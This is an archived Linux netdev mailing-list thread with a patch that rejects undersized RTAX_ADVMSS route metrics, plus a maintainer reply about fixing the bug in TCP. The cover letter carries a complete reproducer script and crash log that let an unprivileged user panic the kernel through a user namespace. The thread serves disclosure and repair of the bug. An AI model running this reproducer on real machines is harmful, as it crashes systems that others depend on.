* [PATCH net 0/1] ipv4: fix divide-by-zero from undersized RTAX_ADVMSS
@ 2026-07-28 5:08 Ren Wei
2026-07-28 5:08 ` [PATCH net 1/1] ipv4: reject RTAX_ADVMSS values below TCP_MIN_MSS Ren Wei
0 siblings, 1 reply; 3+ messages in thread
From: Ren Wei @ 2026-07-28 5:08 UTC (permalink / raw)
To: netdev
Cc: dsahern, idosch, davem, edumazet, pabeni, horms, vega, edragain,
enjou1224z
From: Yong Wang <edragain@163.com>
Hi Linux kernel maintainers,
We found and validated a divide-by-zero bug in the IPv4 route metrics
handling. The bug is reachable by an unprivileged user with
CAP_NET_ADMIN in a user-created network namespace.
The attached patch fixes the bug by rejecting non-zero RTAX_ADVMSS
values smaller than TCP_MIN_MSS at the route metric input point.
---- details below ----
Bug details:
ip_metrics_convert() only caps RTAX_ADVMSS at the upper bound and
still accepts undersized non-zero values from userspace.
With a route installed using "advmss 12", a passive TCP open can later
reach tcp_openreq_init_rwin(). If SYN timestamps are enabled,
tcp_openreq_init_rwin() subtracts TCPOLEN_TSTAMP_ALIGNED from the route
advmss before calling tcp_select_initial_window(). This reduces the
effective MSS to zero and triggers a divide-by-zero in the
rounddown(space, mss) path.
The fix rejects non-zero RTAX_ADVMSS values smaller than TCP_MIN_MSS
while keeping the existing "0 means use default advmss" behavior
intact.
Reproducer:
The reproducer script requires python3 environment
chmod +x ./poc.sh
./poc.sh
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.sh------
#!/bin/sh
set -eu
PATH=/usr/sbin:/sbin:/usr/bin:/bin
export PATH
PORT="${1:-12345}"
export PORT
unshare -Urn sh -eu <<'INNER'
cleanup() {
[ -n "${SERVER_PID:-}" ] && kill "$SERVER_PID" 2>/dev/null || true
[ -n "${CLI_HOLDER_PID:-}" ] && kill "$CLI_HOLDER_PID" 2>/dev/null || true
}
trap cleanup EXIT INT TERM
rm -f /tmp/ip_metrics_div0_cli.pid /tmp/ip_metrics_div0_srv.log
sysctl -w net.ipv4.tcp_timestamps=1 >/dev/null
unshare -n sh -c 'echo $$ > /tmp/ip_metrics_div0_cli.pid; exec sleep 1000' &
CLI_HOLDER_PID=$!
i=0
while [ ! -s /tmp/ip_metrics_div0_cli.pid ]; do
i=$((i + 1))
[ "$i" -lt 50 ] || {
echo "client namespace did not start" >&2
exit 1
}
sleep 0.1
done
CLIPID=$(cat /tmp/ip_metrics_div0_cli.pid)
ip link add veth-srv type veth peer name veth-cli
ip link set veth-cli netns "$CLIPID"
ip link set lo up
ip addr add 10.0.0.1/24 dev veth-srv
ip link set veth-srv up
nsenter -t "$CLIPID" -n sysctl -w net.ipv4.tcp_timestamps=1 >/dev/null
nsenter -t "$CLIPID" -n ip link set lo up
nsenter -t "$CLIPID" -n ip addr add 10.0.0.2/24 dev veth-cli
nsenter -t "$CLIPID" -n ip link set veth-cli up
ip route add 10.0.0.2/32 dev veth-srv advmss 12
ip route get 10.0.0.2
python3 -c 'import os, socket, time
port = int(os.environ["PORT"])
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("10.0.0.1", port))
s.listen(128)
print("listening", flush=True)
time.sleep(600)' >/tmp/ip_metrics_div0_srv.log 2>&1 &
SERVER_PID=$!
sleep 1
cat /tmp/ip_metrics_div0_srv.log
nsenter -t "$CLIPID" -n python3 -c 'import os, socket
port = int(os.environ["PORT"])
s = socket.socket()
s.settimeout(5)
s.connect(("10.0.0.1", port))'
INNER
------END poc.sh--------
----BEGIN crash log----
[ 175.082064] Oops: divide error: 0000 [#1] SMP NOPTI
[ 175.082793] CPU: 3 UID: 1028 PID: 1018 Comm: python3 Not tainted 6.12.95 #1
[ 175.083689] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 175.085138] RIP: 0010:tcp_select_initial_window+0x43/0xe0
[ 175.085867] Code: 89 d3 55 85 ff 48 89 cd 89 c1 b8 00 c0 ff 3f 53 48 8b 5c 24 20 0f 44 f8 44 8b 64 24 28 39 cf 0f 46 cf 39 ca 73 09 89 c8 31 d2 <41> f7 f3 29 d1 49 8b 42 30 0f b6 90 f9 04 00 00 b8 ff 7f 00 00 39
[ 175.088227] RSP: 0018:ffffc90000170a78 EFLAGS: 00010246
[ 175.088927] RAX: 0000000000010000 RBX: ffffc90000170aaf RCX: 0000000000010000
[ 175.089839] RDX: 0000000000000000 RSI: 0000000000010000 RDI: 000000003fffc000
[ 175.090751] RBP: ffff8881030de854 R08: ffff8881030de85c R09: 0000000000000001
[ 175.091671] R10: ffff8881033aa840 R11: 0000000000000000 R12: 0000000000000000
[ 175.092594] R13: ffff888104a00dc0 R14: 0000000000010000 R15: 000000000000000c
[ 175.093522] FS: 00007b2b60bf7780(0000) GS:ffff88813bd80000(0000) knlGS:0000000000000000
[ 175.094563] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 175.095301] CR2: 00007b2b60d237c0 CR3: 00000001132a2002 CR4: 0000000000770ef0
[ 175.096200] PKRU: 55555554
[ 175.096570] Call Trace:
[ 175.096898] <IRQ>
[ 175.097170] tcp_openreq_init_rwin+0x131/0x230
[ 175.097768] tcp_conn_request+0x4fa/0xd40
[ 175.098304] ? tcp_rcv_state_process+0x631/0xf40
[ 175.098900] tcp_rcv_state_process+0x631/0xf40
[ 175.099425] ? srso_alias_return_thunk+0x5/0xfbef5
[ 175.099974] ? srso_alias_return_thunk+0x5/0xfbef5
[ 175.100497] ? security_sock_rcv_skb+0x80/0xf0
[ 175.100990] ? srso_alias_return_thunk+0x5/0xfbef5
[ 175.101525] ? sk_filter_trim_cap+0x53/0x280
[ 175.102000] tcp_v4_do_rcv+0xe0/0x2a0
[ 175.102413] tcp_v4_rcv+0x139a/0x13d0
[ 175.102818] ? srso_alias_return_thunk+0x5/0xfbef5
[ 175.103342] ip_protocol_deliver_rcu+0x3b/0x1b0
[ 175.103837] ip_local_deliver_finish+0x79/0xa0
[ 175.104328] __netif_receive_skb_one_core+0x89/0xa0
[ 175.104858] process_backlog+0x99/0x1b0
[ 175.105290] __napi_poll+0x28/0x1b0
[ 175.105677] net_rx_action+0x197/0x370
[ 175.106088] handle_softirqs+0xe6/0x300
[ 175.106519] do_softirq.part.0+0x3b/0x60
[ 175.106945] </IRQ>
[ 175.107183] <TASK>
[ 175.107441] __local_bh_enable_ip+0x4f/0x60
[ 175.107895] __neigh_event_send+0xb9/0x390
[ 175.108363] neigh_resolve_output+0x12f/0x1b0
[ 175.108845] ip_finish_output2+0x185/0x540
[ 175.109301] ip_output+0x5d/0xe0
[ 175.109670] ? __pfx_ip_finish_output+0x10/0x10
[ 175.110170] __ip_queue_xmit+0x16c/0x470
[ 175.110607] __tcp_transmit_skb+0xb6e/0xcc0
[ 175.111098] ? srso_alias_return_thunk+0x5/0xfbef5
[ 175.111635] tcp_connect+0xabd/0xec0
[ 175.112039] tcp_v4_connect+0x45d/0x520
[ 175.112465] __inet_stream_connect+0xa3/0x3f0
[ 175.112953] inet_stream_connect+0x3a/0x60
[ 175.113402] __sys_connect+0xb0/0xc0
[ 175.113811] __x64_sys_connect+0x18/0x20
[ 175.114254] do_syscall_64+0x58/0x120
[ 175.114677] entry_SYSCALL_64_after_hwframe+0x76/0x7e
[ 175.115231] RIP: 0033:0x7b2b60c8b687
[ 175.115633] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
[ 175.117414] RSP: 002b:00007ffe84306f90 EFLAGS: 00000202 ORIG_RAX: 000000000000002a
[ 175.117895] RAX: ffffffffffffffda RBX: 00007b2b60bf7780 RCX: 00007b2b60c8b687
[ 175.118357] RDX: 0000000000000010 RSI: 00007ffe84307030 RDI: 0000000000000003
[ 175.118819] RBP: 00007ffe84307030 R08: 0000000000000000 R09: 0000000000000000
[ 175.119274] R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000a83590
[ 175.119725] R13: 0000000000000001 R14: 0000000000000010 R15: 00007b2b60f33080
[ 175.120192] </TASK>
[ 175.120354] Modules linked in:
[ 175.120593] ---[ end trace 0000000000000000 ]---
[ 175.120905] RIP: 0010:tcp_select_initial_window+0x43/0xe0
[ 175.121252] Code: 89 d3 55 85 ff 48 89 cd 89 c1 b8 00 c0 ff 3f 53 48 8b 5c 24 20 0f 44 f8 44 8b 64 24 28 39 cf 0f 46 cf 39 ca 73 09 89 c8 31 d2 <41> f7 f3 29 d1 49 8b 42 30 0f b6 90 f9 04 00 00 b8 ff 7f 00 00 39
[ 175.122449] RSP: 0018:ffffc90000170a78 EFLAGS: 00010246
[ 175.122805] RAX: 0000000000010000 RBX: ffffc90000170aaf RCX: 0000000000010000
[ 175.123273] RDX: 0000000000000000 RSI: 0000000000010000 RDI: 000000003fffc000
[ 175.123730] RBP: ffff8881030de854 R08: ffff8881030de85c R09: 0000000000000001
[ 175.124208] R10: ffff8881033aa840 R11: 0000000000000000 R12: 0000000000000000
[ 175.124679] R13: ffff888104a00dc0 R14: 0000000000010000 R15: 000000000000000c
[ 175.125154] FS: 00007b2b60bf7780(0000) GS:ffff88813bd80000(0000) knlGS:0000000000000000
[ 175.125679] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 175.126063] CR2: 00007b2b60d237c0 CR3: 00000001132a2002 CR4: 0000000000770ef0
[ 175.126578] PKRU: 55555554
[ 175.126778] Kernel panic - not syncing: Fatal exception in interrupt
[ 175.127317] Kernel Offset: disabled
-----END crash log-----
Best regards,
Yong Wang
Yong Wang (1):
ipv4: reject RTAX_ADVMSS values below TCP_MIN_MSS
net/ipv4/metrics.c | 6 ++++++
1 file changed, 6 insertions(+)
--
2.53.0
^ permalink raw reply [flat|nested] 3+ messages in thread
* [PATCH net 1/1] ipv4: reject RTAX_ADVMSS values below TCP_MIN_MSS
2026-07-28 5:08 [PATCH net 0/1] ipv4: fix divide-by-zero from undersized RTAX_ADVMSS Ren Wei
@ 2026-07-28 5:08 ` Ren Wei
2026-07-30 13:35 ` Ido Schimmel
0 siblings, 1 reply; 3+ messages in thread
From: Ren Wei @ 2026-07-28 5:08 UTC (permalink / raw)
To: netdev
Cc: dsahern, idosch, davem, edumazet, pabeni, horms, vega, edragain,
enjou1224z
From: Yong Wang <edragain@163.com>
ip_metrics_convert() only caps RTAX_ADVMSS at the upper bound and
still accepts undersized non-zero values from userspace.
A route installed with "advmss 12" can later reach the passive TCP
open path. When SYN timestamps are enabled, tcp_openreq_init_rwin()
subtracts TCPOLEN_TSTAMP_ALIGNED from the route advmss before calling
tcp_select_initial_window(). This can reduce the effective MSS to
zero and trigger a divide-by-zero in the rounddown(space, mss) path.
Reject non-zero RTAX_ADVMSS values smaller than TCP_MIN_MSS while
keeping the existing "0 means use default advmss" behavior intact.
This matches the existing TCP_MIN_MSS based validation used for
TCP_MAXSEG and fixes the bug at the route metric input point rather
than adding a redundant guard deeper in the TCP stack.
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:GPT-5.4
Signed-off-by: Yong Wang <edragain@163.com>
Signed-off-by: Ren Wei <enjou1224z@gmail.com>
---
net/ipv4/metrics.c | 6 ++++++
1 file changed, 6 insertions(+)
diff --git a/net/ipv4/metrics.c b/net/ipv4/metrics.c
index ad40762a8b38..b9b97a0a5126 100644
--- a/net/ipv4/metrics.c
+++ b/net/ipv4/metrics.c
@@ -44,6 +44,12 @@ static int ip_metrics_convert(struct nlattr *fc_mx,
}
val = nla_get_u32(nla);
}
+ if (type == RTAX_ADVMSS && val && val < TCP_MIN_MSS) {
+ NL_SET_ERR_MSG_ATTR_FMT(extack, nla,
+ "Invalid advmss, must be 0 or >= %u",
+ TCP_MIN_MSS);
+ return -EINVAL;
+ }
if (type == RTAX_ADVMSS && val > 65535 - 40)
val = 65535 - 40;
if (type == RTAX_MTU && val > 65535 - 15)
--
2.53.0
^ permalink raw reply related [flat|nested] 3+ messages in thread
* Re: [PATCH net 1/1] ipv4: reject RTAX_ADVMSS values below TCP_MIN_MSS
2026-07-28 5:08 ` [PATCH net 1/1] ipv4: reject RTAX_ADVMSS values below TCP_MIN_MSS Ren Wei
@ 2026-07-30 13:35 ` Ido Schimmel
0 siblings, 0 replies; 3+ messages in thread
From: Ido Schimmel @ 2026-07-30 13:35 UTC (permalink / raw)
To: Ren Wei, edumazet, ncardwell
Cc: netdev, dsahern, davem, edumazet, pabeni, horms, vega, edragain
On Tue, Jul 28, 2026 at 01:08:17PM +0800, Ren Wei wrote:
> From: Yong Wang <edragain@163.com>
>
> ip_metrics_convert() only caps RTAX_ADVMSS at the upper bound and
> still accepts undersized non-zero values from userspace.
>
> A route installed with "advmss 12" can later reach the passive TCP
> open path. When SYN timestamps are enabled, tcp_openreq_init_rwin()
> subtracts TCPOLEN_TSTAMP_ALIGNED from the route advmss before calling
> tcp_select_initial_window(). This can reduce the effective MSS to
> zero and trigger a divide-by-zero in the rounddown(space, mss) path.
>
> Reject non-zero RTAX_ADVMSS values smaller than TCP_MIN_MSS while
> keeping the existing "0 means use default advmss" behavior intact.
>
> This matches the existing TCP_MIN_MSS based validation used for
> TCP_MAXSEG and fixes the bug at the route metric input point rather
> than adding a redundant guard deeper in the TCP stack.
Eric / Neal, the comment above tcp_select_initial_window() says:
"[...]. We assume here that mss >= 1. This MUST be enforced by all
callers".
AFAICT, tcp_openreq_init_rwin() and tcp_connect_init() are the only
callers that subtract the size of the timestamp option from the MSS
without validating the result.
Fixing it there also takes care of the comment from Sashiko regarding
RTAX_MTU:
"If an unprivileged user sets the namespace specific sysctl
net.ipv4.route.min_adv_mss to 0 (which is accessible due to an exporting
flaw) and adds a route with an MTU of 52, the IPv4 stack evaluates the
default advmss as max(MTU - 40, min_adv_mss), yielding 12.
[...]
Should a similar lower bound check be enforced for RTAX_MTU during
netlink conversion to prevent this bypass?"
Do you prefer to fix this in TCP?
Sashiko link:
https://sashiko.dev/#/patchset/a2e93ae9003f33bf49b789dbd537f4a6c10f26fa.1784972917.git.edragain%40163.com
Patch link:
https://lore.kernel.org/netdev/cover.1784972917.git.edragain@163.com/
Thanks
>
> Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Assisted-by: Codex:GPT-5.4
> Signed-off-by: Yong Wang <edragain@163.com>
> Signed-off-by: Ren Wei <enjou1224z@gmail.com>
> ---
> net/ipv4/metrics.c | 6 ++++++
> 1 file changed, 6 insertions(+)
>
> diff --git a/net/ipv4/metrics.c b/net/ipv4/metrics.c
> index ad40762a8b38..b9b97a0a5126 100644
> --- a/net/ipv4/metrics.c
> +++ b/net/ipv4/metrics.c
> @@ -44,6 +44,12 @@ static int ip_metrics_convert(struct nlattr *fc_mx,
> }
> val = nla_get_u32(nla);
> }
> + if (type == RTAX_ADVMSS && val && val < TCP_MIN_MSS) {
> + NL_SET_ERR_MSG_ATTR_FMT(extack, nla,
> + "Invalid advmss, must be 0 or >= %u",
> + TCP_MIN_MSS);
> + return -EINVAL;
> + }
> if (type == RTAX_ADVMSS && val > 65535 - 40)
> val = 65535 - 40;
> if (type == RTAX_MTU && val > 65535 - 15)
> --
> 2.53.0
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-07-30 13:36 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-28 5:08 [PATCH net 0/1] ipv4: fix divide-by-zero from undersized RTAX_ADVMSS Ren Wei
2026-07-28 5:08 ` [PATCH net 1/1] ipv4: reject RTAX_ADVMSS values below TCP_MIN_MSS Ren Wei
2026-07-30 13:35 ` Ido Schimmel
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.